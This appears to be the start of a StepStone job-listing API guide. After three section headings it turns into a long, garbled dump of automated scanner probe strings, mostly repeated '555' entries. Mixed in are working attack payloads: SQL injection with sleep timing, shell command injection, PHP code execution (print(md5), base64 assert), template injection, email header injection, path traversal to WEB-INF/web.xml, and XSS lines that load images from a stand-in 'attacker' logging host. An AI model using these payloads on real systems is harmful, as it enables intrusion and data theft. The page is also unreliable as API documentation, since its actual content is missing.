API StepStone
The purpose of this guide is to help you publish and manage listings posted to any StepStone site. We describe different ways of uploading offers based on various internet protocols. The guide is divided into the following sections:
- Feed types
- Categorization
- StepStone XML format: step-by-step guide
555
555
555
555
1PVSGN68O
to@example.com>
bcc:009247.38-1948.38.3310f.19572.2@bxss.me
555
555
FJXfjeq9
1′”
5559012759
<th:t="${dfb}#foreach
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555
1
1tAx0FLcO
555
555
555
555
555
‘”
<!–
wp-comments-post.php/.
response.write(9225390*9074648)
555
‘+response.write(9225390*9074648)+’
555
“+response.write(9225390*9074648)+”
‘”()
)
1*555
!(()&&!|*|*|
555
^(#$!@#$)(()))******
555*461*456*0
(1021-461-5)
-1 OR 2+428-428-1=0+0+0+1
${@print(md5(31337))}\
-1 OR 3+428-428-1=0+0+0+1
‘.print(md5(31337)).’
1
5559704408
response.write(9302624*9674934)
%0abcc:074625.34619-7695.34619.22322.19632.2@bxss.me
12345′”\’\”);|]*%00{%0d%0a%bf%27’💡
-1 OR 2+602-602-1=0+0+0+1 —
)
555
bxss.me/t/xss.html?%00
‘”
555
-1 OR 2+690-690-1=0+0+0+1 —
-1 OR 3*2<(0+5+578-578)
-1′ OR 2+61-61-1=0+0+0+1 or ‘t1a5SDG6’=’
5559274071
555
|echo dlehza$()\ fnonoi\nz^xyu||a #’ |echo dlehza$()\ fnonoi\nz^xyu||a #|” |echo dlehza$()\ fnonoi\nz^xyu||a #
555
555
@@7zOJe
555
555
1
555
!(()&&!|*|*|
bxss.me/t/xss.html?%00
${@print(md5(31337))}\
wp-comments-post.php
555
555
555
response.write(9229499*9785682)
&echo lcmocz$()\ aznuha\nz^xyu||a #’ &echo lcmocz$()\ aznuha\nz^xyu||a #|” &echo lcmocz$()\ aznuha\nz^xyu||a #
/WEB-INF/web.xml
555}body{zzz:Expre/**/SSion(5rWw(9247))}
WEB-INF\web.xml
555RZAYI[!+!]
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
${@print(md5(31337))}
‘”
555
555
NcGP04R5
1′”
1′”
555
555
555
555
${@print(md5(31337))}\
555’||sleep(27*1000)*sluall||’
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
1′”
555
555
555
555
555
555
555
555
555
bxss.me/t/xss.html?%00
555
555
555
555
555
1′”
555
555
555
555
555
555
./555
‘”()
555
1*555
wp-comments-post.php/.
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
1′”
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
‘+response.write(9165707*9920129)+’
${9999008+9999450}
555
!(()&&!|*|*|
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
‘”()
555
555
555
wp-comments-post.php
5559950640
555
bfg10787<s1﹥s2ʺs3ʹhjl10787
bfgx7864z1z2abcxhjl7864
1}}”}}’}}1%>”%>’%>
5556XDBG[!+!]
0FgQOjen
1*555
555}body{zzz:Expre/**/SSion(vBgP(9847))}
555IMYRU[!+!]
(1233-673-5)
555<aTnyir9<
555
555
555
‘+response.write(9654310*9757319)+’
555
555
bcc:0.106-4053.106.a705f.19680.2@bxss.me
555
555
555
wp-comments-post.php
555
555
1%2527%2522
555
dEygLJD8
1*555
1′”
555
555
555
“+response.write(9463884*9011395)+”
555
../555
)
555
to@example.com>
bcc:0.106-12966.106.a705f.19680.2@bxss.me
‘”()
555
555
555
wp-comments-post.php/.
555
555
555
555
555
555
555
555
555
5559050905
bfgx1939z1z2abcxhjl1939
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555AL8FV[!+!]
555}body{zzz:Expre/**/SSion(up8L(9772))}
555<img sRc='http://attacker-9965/log.php?
1*555
555*444*439*0
555*872*867*0
1′”
555
555
555
response.write(9800680*9741174)
1DVo9Bg7alO
555
555
555
555
555
555
bcc:009365.777-19479.777.0ab67.19680.2@bxss.me
555&n930360=v936324
555
ACUSTART'”(z)ACUEND
!(()&&!|*|*|
555
^(#$!@#$)(()))******
555
AcuStart.ocboz.AcuEnd
555
555
555
bxss.me/t/xss.html?%00
wp-comments-post.php/.
555
1AcuStartevtiu'”AcuEnd
‘”
zzcppQh1
1*555
555*377*372*0
(937-377-5)
555*514*509*0
555*933*928*0
(1493-933-5)
555
555
555
555
555
555
555
555
bcc:009365.15-1780.15.ba189.19701.2@bxss.me
555
555
555
12345′”\’\”);|]*{
”💡
${9999876+9999417}
555
^(#$!@#$)(()))******
1*555
(1098-538-5)
555*524*519*0
‘”()
bxss.me
555
bxss.me/t/xss.html?%00
wp-comments-post.php
1′”
555
555
555
555
555
555
555
555
555
5559383882
bfgx1995z1z2abcxhjl1995
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555WJ9JS[!+!]
555}body{zzz:Expre/**/SSion(qtS6(9305))}
555IK2GX[!+!]
555<img sRc='http://attacker-9590/log.php?
555<atzsoQG<
555
555
555
555
555
555
“+response.write(9822464*9907125)+”
555
555
1*555
./555
(755-195-5)
555*326*321*0
(886-326-5)
555*264*259*0
555
555
555
to@example.com>
bcc:009365.15-3484.15.ba189.19701.2@bxss.me
555
555
1′”
12345′”\’\”);|]*{
”💡
555
555
555
)
555
bxss.me
555
bxss.me/t/xss.html?%00
555
555
wp-comments-post.php
555
555
555
555
555
555
555
555
555
555
555
12345′”\’\”);|]*{
”💡
1*555
555
555
!(()&&!|*|*|
555
555
bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
5559779132
<th:t="${dfb}#foreach
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555QJMQQ[!+!]
555}body{zzz:Expre/**/SSion(NvHE(9862))}
555<aZ50XRt<
555
555
555
555
555
j312Auc3
1*555
555*427*422*0
555*10*5*0
555
555
555
1′”
@@FG10H
555
t2ARoGI6
1*555
555*349*344*0
555*260*255*0
555*645*640*0
(1205-645-5)
1′”
555
555
555
bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
555
5559462048
bfg4360<s1﹥s2ʺs3ʹhjl4360
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555I9SOJ[!+!]
555
555
555}body{zzz:Expre/**/SSion(2LGT(9343))}
555PBC4O[!+!]
555<img sRc='http://attacker-9608/log.php?
555<aRRBLm9<
555
555
bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
555
555
555
555
5559691435
555
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555DLCLB[!+!]
555
555
555}body{zzz:Expre/**/SSion(Q8IQ(9633))}
555
555<img sRc='http://attacker-9070/log.php?
555
555
555
555
555
555
555
555&n980325=v932421
1*555
555
555*181*176*0
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
wp-comments-post.php
5559008923
555ECZGI[!+!]
555}body{zzz:Expre/**/SSion(uaXo(9922))}
555<img sRc='http://attacker-9589/log.php?
555
555
555
555
555
555
1*555
555*476*471*0
555
555
../555
555
555
555
555
555
555
!(()&&!|*|*|
bxss.me
555
555
wp-comments-post.php/.
5559165210
555PPDG5[!+!]
555}body{zzz:Expre/**/SSion(k0Nx(9792))}
555JNSSR[!+!]
555<alttaiX<
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
Wr1N5YQc
1*555
555*328*323*0
555
bxss.me
‘”()
555
555
555
<!–
555
555
555
555
555
zfjOtfSC
555
${9999608+9999862}
(1437-877-5)
555
)
${@print(md5(31337))}
1′”
555’&&sleep(27*1000)*blcnjw&&’
555″||sleep(27*1000)*tfopdg||”
555
555
555
555
555
555
555
555
response.write(9226182*9402801)
555
1*555
555
555
555
555
!(()&&!|*|*|
${@print(md5(31337))}
555
‘”()
555
5559156854
bfgx6654z1z2abcxhjl6654
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
555
555
555″ onerror=alert(9347)>
555WBISE[!+!]
555<img sRc='http://attacker-9714/log.php?
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9701942*9993653)
iIbBhKU1
1*555
555
555
-1 OR 3+720-720-1=0+0+0+1
1%2527%2522
555
555
bxss.me
555
‘”()
wp-comments-post.php
<!–
555
555
555
555
555
555
echo bebeqs$()\ fibsca\nz^xyu||a #’ &echo bebeqs$()\ fibsca\nz^xyu||a #|” &echo bebeqs$()\ fibsca\nz^xyu||a #
555|echo rfrgow$()\ uttsvh\nz^xyu||a #’ |echo rfrgow$()\ uttsvh\nz^xyu||a #|” |echo rfrgow$()\ uttsvh\nz^xyu||a #
555
555
555
555
./555
555
41NWSU49
555
1*555
555
555*204*199*0
;assert(base64_decode(‘cHJpbnQobWQ1KDMxMzM3KSk7’));
555
‘.print(md5(31337)).’
‘”()
555’||sleep(27*1000)*yurkhh||’
http://bxss.me/t/xss.html?%00
555
wp-comments-post.php
555
5559141187
bfg2799<s1﹥s2ʺs3ʹhjl2799
bfgx9753z1z2abcxhjl9753
<th:t="${dfb}#foreach
555
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555L5ZNU[!+!]
555k8EJ(9940)
555k8EJ(9473)9473
555
555″ onerror=alert(9433)>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo zcdwvo$()\ orcjvs\nz^xyu||a #’ &echo zcdwvo$()\ orcjvs\nz^xyu||a #|” &echo zcdwvo$()\ orcjvs\nz^xyu||a #
555|echo wysozn$()\ fmsaqv\nz^xyu||a #’ |echo wysozn$()\ fmsaqv\nz^xyu||a #|” |echo wysozn$()\ fmsaqv\nz^xyu||a #
../555
555
${10000449+10000100}
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
bxss.me
‘;print(md5(31337));$a=’
555
555
‘”
1′”
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo eexbmw$()\ lrnswa\nz^xyu||a #’ &echo eexbmw$()\ lrnswa\nz^xyu||a #|” &echo eexbmw$()\ lrnswa\nz^xyu||a #
555
daFyvN2x
555
1*555
555*358*353*0
555
bcc:074625.68-88504.68.a6c33.19721.2@bxss.me
1′”
@@Wl9Iz
555
12345′”\’\”);|]*{
”💡
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
)
^(#$!@#$)(()))******
${@print(md5(31337))}\
555
http://bxss.me/t/xss.html?%00
wp-comments-post.php
555
555
555
555
555
555
555
555
555
9JAWoFFZ
555
555
bcc:0.66153-60337.66153.96182.19728.2@bxss.me
555
12345′”\’\”);|]*{
”💡
555&n938867=v946138
555
555
bxss.me/t/xss.html?%00
555
WPi913lK
555
<!–
5559734892
“+response.write(9494598*9631174)+”
555*667*662*0
555*290*285*0
(850-290-5)
555VAJQT[!+!]
555}body{zzz:Expre/**/SSion(qM9B(9607))}
555LUNLL[!+!]
555<img sRc='http://attacker-9790/log.php?
555<a1HnoLc<
@@3pFdf
555
ThH8ZOvx
555
to@example.com>
bcc:0.66153-61120.66153.96182.19728.2@bxss.me
../555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
bxss.me/t/xss.html?%00
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
‘”
response.write(9708606*9944806)
“+response.write(9708606*9944806)+”
555
555
patq6i49
555*770*765*0
555*365*360*0
555*925*920*0
555*774*769*0
1%2527%2522
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
555
555
555*1
555
555+73-68-5
555′”
555
555
555
555
555
555
555
5559895550
bfg2533<s1﹥s2ʺs3ʹhjl2533
55502QVS[!+!]
555}body{zzz:Expre/**/SSion(glKW(9275))}
555
5552F2D2[!+!]
555<img sRc='http://attacker-9067/log.php?
555<a0kBoYr<
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
555
555
555
555
555
555L20LIAhS
555*1
555*161*156*0
555*980*975*0
555*122*117*0
555
555
555
555
5559777722
bfg5319<s1﹥s2ʺs3ʹhjl5319
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
555′”
555%2527%2522\’\”
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555KPKUH[!+!]
555}body{zzz:Expre/**/SSion(459e(9379))}
555AOSJ0[!+!]
555<img sRc='http://attacker-9019/log.php?
555<amM8UEf<
555
555
555
555
555
555&echo jkqorf$()\ incyen\nz^xyu||a #’ &echo jkqorf$()\ incyen\nz^xyu||a #|” &echo jkqorf$()\ incyen\nz^xyu||a #
555
555
555
555
555
555XYmyhTwT
555
555*801*796*0
555*544*539*0
555+549-544-5
555*84*79*0
555*919*914*0
555+924-919-5
555
555
555
555
555
555
5559163263
bfg5304<s1﹥s2ʺs3ʹhjl5304
bfgx9566z1z2abcxhjl9566
555
555GNSCO[!+!]
555
555
echo gjviua$()\ vwadvs\nz^xyu||a #’ &echo gjviua$()\ vwadvs\nz^xyu||a #|” &echo gjviua$()\ vwadvs\nz^xyu||a #
555&echo cgenmj$()\ dkozja\nz^xyu||a #’ &echo cgenmj$()\ dkozja\nz^xyu||a #|” &echo cgenmj$()\ dkozja\nz^xyu||a #
|echo eeawwk$()\ crhuvq\nz^xyu||a #’ |echo eeawwk$()\ crhuvq\nz^xyu||a #|” |echo eeawwk$()\ crhuvq\nz^xyu||a #
555
555
555}body{zzz:Expre/**/SSion(YW6B(9772))}
555FYHCX[!+!]
555<img sRc='http://attacker-9952/log.php?
555<aPzo5n2<
555
555
555
555
555AaUC83PZ
555*28*23*0
555+33-28-5
555*753*748*0
555*140*135*0
555+145-140-5
555*756*751*0
555+761-756-5
555
555
555
555
555
555
555
5559129625
bfg1867<s1﹥s2ʺs3ʹhjl1867
bfgx4384z1z2abcxhjl4384
555FWBNI[!+!]
555}body{zzz:Expre/**/SSion(iqrW(9403))}
5553URSR[!+!]
555<img sRc='http://attacker-9127/log.php?
555<a1hz9gq<
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555ro0TXcZJ
555
555
555
555
555
555
555
555
555
555′”
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
echo npwtyn$()\ zmfrcy\nz^xyu||a #’ &echo npwtyn$()\ zmfrcy\nz^xyu||a #|” &echo npwtyn$()\ zmfrcy\nz^xyu||a #
555&echo bjyypg$()\ hgnaep\nz^xyu||a #’ &echo bjyypg$()\ hgnaep\nz^xyu||a #|” &echo bjyypg$()\ hgnaep\nz^xyu||a #
555|echo qhsuxd$()\ lujrnn\nz^xyu||a #’ |echo qhsuxd$()\ lujrnn\nz^xyu||a #|” |echo qhsuxd$()\ lujrnn\nz^xyu||a #
555
555csIPu8a7
555*1
555*737*732*0
555+742-737-5
555*45*40*0
555+50-45-5
555*55*50*0
555+60-55-5
555
555′”
@@fK1DU
555
echo uabvtt$()\ akhbze\nz^xyu||a #’ &echo uabvtt$()\ akhbze\nz^xyu||a #|” &echo uabvtt$()\ akhbze\nz^xyu||a #
555&echo uqdveu$()\ hakshb\nz^xyu||a #’ &echo uqdveu$()\ hakshb\nz^xyu||a #|” &echo uqdveu$()\ hakshb\nz^xyu||a #
|echo ongoaq$()\ srqntx\nz^xyu||a #’ |echo ongoaq$()\ srqntx\nz^xyu||a #|” |echo ongoaq$()\ srqntx\nz^xyu||a #
555
bxss.me/t/xss.html?%00
bxss.me
555
555
555
555BSKO4vVd
555*538*533*0
555*612*607*0
555*39*34*0
555*806*801*0
555
555
555%2527%2522\’\”
@@3GsVU
555
555
555
555
555
555
5559520847
bfg7638<s1﹥s2ʺs3ʹhjl7638
bfgx2005z1z2abcxhjl2005
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555WOPB7[!+!]
555}body{zzz:Expre/**/SSion(2IjF(9713))}
5559BODM[!+!]
555<img sRc='http://attacker-9251/log.php?
555<ajwZkly<
555
555
555
echo scjjhe$()\ tmoqaq\nz^xyu||a #’ &echo scjjhe$()\ tmoqaq\nz^xyu||a #|” &echo scjjhe$()\ tmoqaq\nz^xyu||a #
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
bxss.me
555
555
555
555
555
5551gs1SnNu
555
555*1
555+987-982-5
555+751-746-5
555
555
555
555
555
555
5559918620
bfg6518<s1﹥s2ʺs3ʹhjl6518
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555MWORC[!+!]
555′”
555}body{zzz:Expre/**/SSion(45fB(9159))}
555LP8ZJ[!+!]
555<img sRc='http://attacker-9876/log.php?
555<aB1DHV8<
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
&echo qdmlee$()\ urjuuh\nz^xyu||a #’ &echo qdmlee$()\ urjuuh\nz^xyu||a #|” &echo qdmlee$()\ urjuuh\nz^xyu||a #
555|echo tuzlbv$()\ uytleh\nz^xyu||a #’ |echo tuzlbv$()\ uytleh\nz^xyu||a #|” |echo tuzlbv$()\ uytleh\nz^xyu||a #
555
555
555
555
555Smv5pkYV
555
555*1
555*366*361*0
555
555
555
555
555
555
555
555
5559047523
bfgx10655z1z2abcxhjl10655
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555IWLRR[!+!]
555}body{zzz:Expre/**/SSion(INLj(9986))}
555<img sRc='http://attacker-9898/log.php?
555
555
555
bxss.me/t/xss.html?%00
bxss.me
echo pyhetn$()\ imvmkv\nz^xyu||a #’ &echo pyhetn$()\ imvmkv\nz^xyu||a #|” &echo pyhetn$()\ imvmkv\nz^xyu||a #
555&echo kwmqfg$()\ fktmyh\nz^xyu||a #’ &echo kwmqfg$()\ fktmyh\nz^xyu||a #|” &echo kwmqfg$()\ fktmyh\nz^xyu||a #
555
555
555
555
555
555yjuFuBWy
555*1
555+697-692-5
555*632*627*0
555+328-323-5
555′”
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
echo ueqbqx$()\ yldiar\nz^xyu||a #’ &echo ueqbqx$()\ yldiar\nz^xyu||a #|” &echo ueqbqx$()\ yldiar\nz^xyu||a #
555&echo atpged$()\ ksdsax\nz^xyu||a #’ &echo atpged$()\ ksdsax\nz^xyu||a #|” &echo atpged$()\ ksdsax\nz^xyu||a #
555
555
bxss.me/t/xss.html?%00
555
555
555*1
555+864-859-5
555*955*950*0
555
555*928*923*0
555
555
555
555
555
555
555
5559552002
bfg1432<s1﹥s2ʺs3ʹhjl1432
<th:t="${dfb}#foreach
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555}body{zzz:Expre/**/SSion(XNeO(9281))}
555VQ7CS[!+!]
555′”
555<a24aY5y<
555
555
555
555
555
555
555iE9fzcZ5
555*1
555+1001-996-5
echo pperdj$()\ udxjft\nz^xyu||a #’ &echo pperdj$()\ udxjft\nz^xyu||a #|” &echo pperdj$()\ udxjft\nz^xyu||a #
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
bxss.me
555′”
555
555
555
555
555
555
555
555
555
5559764848
1}}”}}’}}1%>”%>’%>
555QR1VV[!+!]
555}body{zzz:Expre/**/SSion(QwIi(9894))}
555<img sRc='http://attacker-9366/log.php?
555
555
555
555
555
555
bxss.me
555
555*1
555*984*979*0
555+987-982-5
555
555
555%2527%2522\’\”
555
555
555
555
555
5559866003
<th:t="${dfb}#foreach
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555}body{zzz:Expre/**/SSion(LZKD(9192))}
555<img sRc='http://attacker-9017/log.php?
555
555
555
555
555
555
bxss.me/t/xss.html?%00
bxss.me
5559810113
<th:t="${dfb}#foreach
555
555OOHIW[!+!]
555Pd9t65OW
555*1
555+554-549-5
555*734*729*0
555
555′”
555
555
555
555
http://bxss.me/t/xss.html?%00
5559858352
http://bxss.me/t/fit.txt
555
echo qondfd$()\ riqkkz\nz^xyu||a #’ &echo qondfd$()\ riqkkz\nz^xyu||a #|” &echo qondfd$()\ riqkkz\nz^xyu||a #
1}}”}}’}}1%>”%>’%>
555|echo edrlbb$()\ nyxark\nz^xyu||a #’ |echo edrlbb$()\ nyxark\nz^xyu||a #|” |echo edrlbb$()\ nyxark\nz^xyu||a #
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
5551QLI9[!+!]
555
555
555PnTY6OgU
555*1
555}body{zzz:Expre/**/SSion(vgvt(9164))}
555HMXED[!+!]
555+455-450-5
555<aKe5tfh<
555
555
555′”
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
echo xitiyw$()\ kabjrh\nz^xyu||a #’ &echo xitiyw$()\ kabjrh\nz^xyu||a #|” &echo xitiyw$()\ kabjrh\nz^xyu||a #
bxss.me
5559791404
bfg3141<s1﹥s2ʺs3ʹhjl3141
bfgx5251z1z2abcxhjl5251
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555
555}body{zzz:Expre/**/SSion(f9w9(9339))}
555AU4DR[!+!]
555<img sRc='http://attacker-9374/log.php?
555*1
555*907*902*0
555*879*874*0
555′”
555
@@8rWcS
555
555
555
555
555
555
bxss.me/t/xss.html?%00
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
bxss.me
555twrMsCX3
555*1
555*951*946*0
555*875*870*0
555+880-875-5
555
555+54-49-5
555
555′”
@@Suvi9
555
555
555
555
555
555
555
555
5559159981
bfg6824<s1﹥s2ʺs3ʹhjl6824
bfgx1611z1z2abcxhjl1611
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
5559ITCO[!+!]
555}body{zzz:Expre/**/SSion(HMKw(9946))}
555FNPCE[!+!]
555<img sRc='http://attacker-9575/log.php?
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
bxss.me
bxss.me/t/xss.html?%00
555
555
555
555
555
555Gr0hzRf6
555
555*1
555
555+317-312-5
555*338*333*0
555+343-338-5
555*136*131*0
555+141-136-5
555
555
555
555
555′”
555%2527%2522\’\”
@@DgxFD
555
555
555
555
5559969124
bfg5393<s1﹥s2ʺs3ʹhjl5393
bfgx9754z1z2abcxhjl9754
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555P1XV5[!+!]
555
555SN9DC[!+!]
555<img sRc='http://attacker-9529/log.php?
555<aHFfSki<
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
bxss.me/t/xss.html?%00
555
555
555
555
555
555
555u2z6DiaO
555
555
555*1
555*778*773*0
555
555
555
555
5559135183
bfg6925<s1﹥s2ʺs3ʹhjl6925
bfgx10174z1z2abcxhjl10174
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555QBTLQ[!+!]
555}body{zzz:Expre/**/SSion(vepC(9203))}
555OGLXG[!+!]
555<img sRc='http://attacker-9354/log.php?
555′”
@@AT5Ms
555
555
555
555
555
echo rktvmd$()\ fbqxst\nz^xyu||a #’ &echo rktvmd$()\ fbqxst\nz^xyu||a #|” &echo rktvmd$()\ fbqxst\nz^xyu||a #
555|echo azscba$()\ tanklh\nz^xyu||a #’ |echo azscba$()\ tanklh\nz^xyu||a #|” |echo azscba$()\ tanklh\nz^xyu||a #
bxss.me/t/xss.html?%00
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555aEFflGK7
555*1
555*611*606*0
555*776*771*0
555
555′”
@@AeWLM
555
555
555
555
555
echo hcwyvq$()\ rjxdln\nz^xyu||a #’ &echo hcwyvq$()\ rjxdln\nz^xyu||a #|” &echo hcwyvq$()\ rjxdln\nz^xyu||a #
555|echo hzhlta$()\ krmtdy\nz^xyu||a #’ |echo hzhlta$()\ krmtdy\nz^xyu||a #|” |echo hzhlta$()\ krmtdy\nz^xyu||a #
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
bxss.me/t/xss.html?%00
555
555
555
555
555nnil81Og
555*1
555*280*275*0
555+285-280-5
555*708*703*0
555+713-708-5
555
555
555
555
555′”
@@CWbM5
555
555
555
5559259186
bfg9140<s1﹥s2ʺs3ʹhjl9140
bfgx10340z1z2abcxhjl10340
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
5556YTWR[!+!]
555
555
555}body{zzz:Expre/**/SSion(27YC(9494))}
555<img sRc='http://attacker-9438/log.php?
555
555
555
555
555
555
555
555
../555
555
555*734*729*0
555
bxss.me
^(#$!@#$)(()))******
‘”()
@@WKwqD
‘”
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
bxss.me
bxss.me/t/xss.html?%00
555
555
555
@@I7YcI
555
555
555
555
555
555
555
555
555
555
5559924960
bfg2770<s1﹥s2ʺs3ʹhjl2770
<th:t="${dfb}#foreach
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555}body{zzz:Expre/**/SSion(pczW(9598))}
555<img sRc='http://attacker-9903/log.php?
555
555
555
${9999383+9999894}
“+response.write(9604416*9895025)+”
555
555
555
555
!(()&&!|*|*|
555HEoqxLSj
555*829*824*0
555+486-481-5
555*945*940*0
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
<!–
5559397949
555
@@5cVPp
555
bfg9867<s1﹥s2ʺs3ʹhjl9867
bfgx10252z1z2abcxhjl10252
555HKHLH[!+!]
555
555}body{zzz:Expre/**/SSion(85yJ(9467))}
555GDKXT[!+!]
555<img sRc='http://attacker-9665/log.php?
555<aZsVIaT<
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../555
555*1
555+967-962-5
555′”
555&n978079=v914228
555
555
bxss.me
bxss.me/t/xss.html?%00
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
wp-comments-post.php
555
555
‘”
<!–
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
555
555UNruiiud
555*768*763*0
555*743*738*0
555*285*280*0
555
555+911-906-5
555
555
555
555
555
555%2527%2522\’\”
@@FrASv
555
5559521075
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555BM8FM[!+!]
555}body{zzz:Expre/**/SSion(diCK(9362))}
555<img sRc='http://attacker-9893/log.php?
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
bxss.me
555
555
555UhUPtCxw
555*620*615*0
555+625-620-5
555*947*942*0
555*758*753*0
555%2527%2522\’\”
@@0AlPh
555
555
echo vvidzy$()\ bubmel\nz^xyu||a #’ &echo vvidzy$()\ bubmel\nz^xyu||a #|” &echo vvidzy$()\ bubmel\nz^xyu||a #
|echo kwgird$()\ xfodbz\nz^xyu||a #’ |echo kwgird$()\ xfodbz\nz^xyu||a #|” |echo kwgird$()\ xfodbz\nz^xyu||a #
555
555
555
555
555GryaiAIy
555
555+239-234-5
555*737*732*0
555*172*167*0
555*435*430*0
555
555
555
555
555
555
555
5559603281
555EDAEF[!+!]
555}body{zzz:Expre/**/SSion(CB0V(9650))}
5557YSYL[!+!]
555<img sRc='http://attacker-9283/log.php?
555<ajjLr9a<
555
555
echo fkbzcv$()\ qqzmgg\nz^xyu||a #’ &echo fkbzcv$()\ qqzmgg\nz^xyu||a #|” &echo fkbzcv$()\ qqzmgg\nz^xyu||a #
555&echo nijptt$()\ knmnhb\nz^xyu||a #’ &echo nijptt$()\ knmnhb\nz^xyu||a #|” &echo nijptt$()\ knmnhb\nz^xyu||a #
|echo ciwasb$()\ vokvyn\nz^xyu||a #’ |echo ciwasb$()\ vokvyn\nz^xyu||a #|” |echo ciwasb$()\ vokvyn\nz^xyu||a #
555
555
555
555
555
555
555
555
555ieFjD5E7
555
555*588*583*0
555
555
555*484*479*0
555
5559024042
bfgx2865z1z2abcxhjl2865
55532EAG[!+!]
555}body{zzz:Expre/**/SSion(bwnI(9618))}
555<img sRc='http://attacker-9336/log.php?
555
@@Mjvwn
555
555
555
555
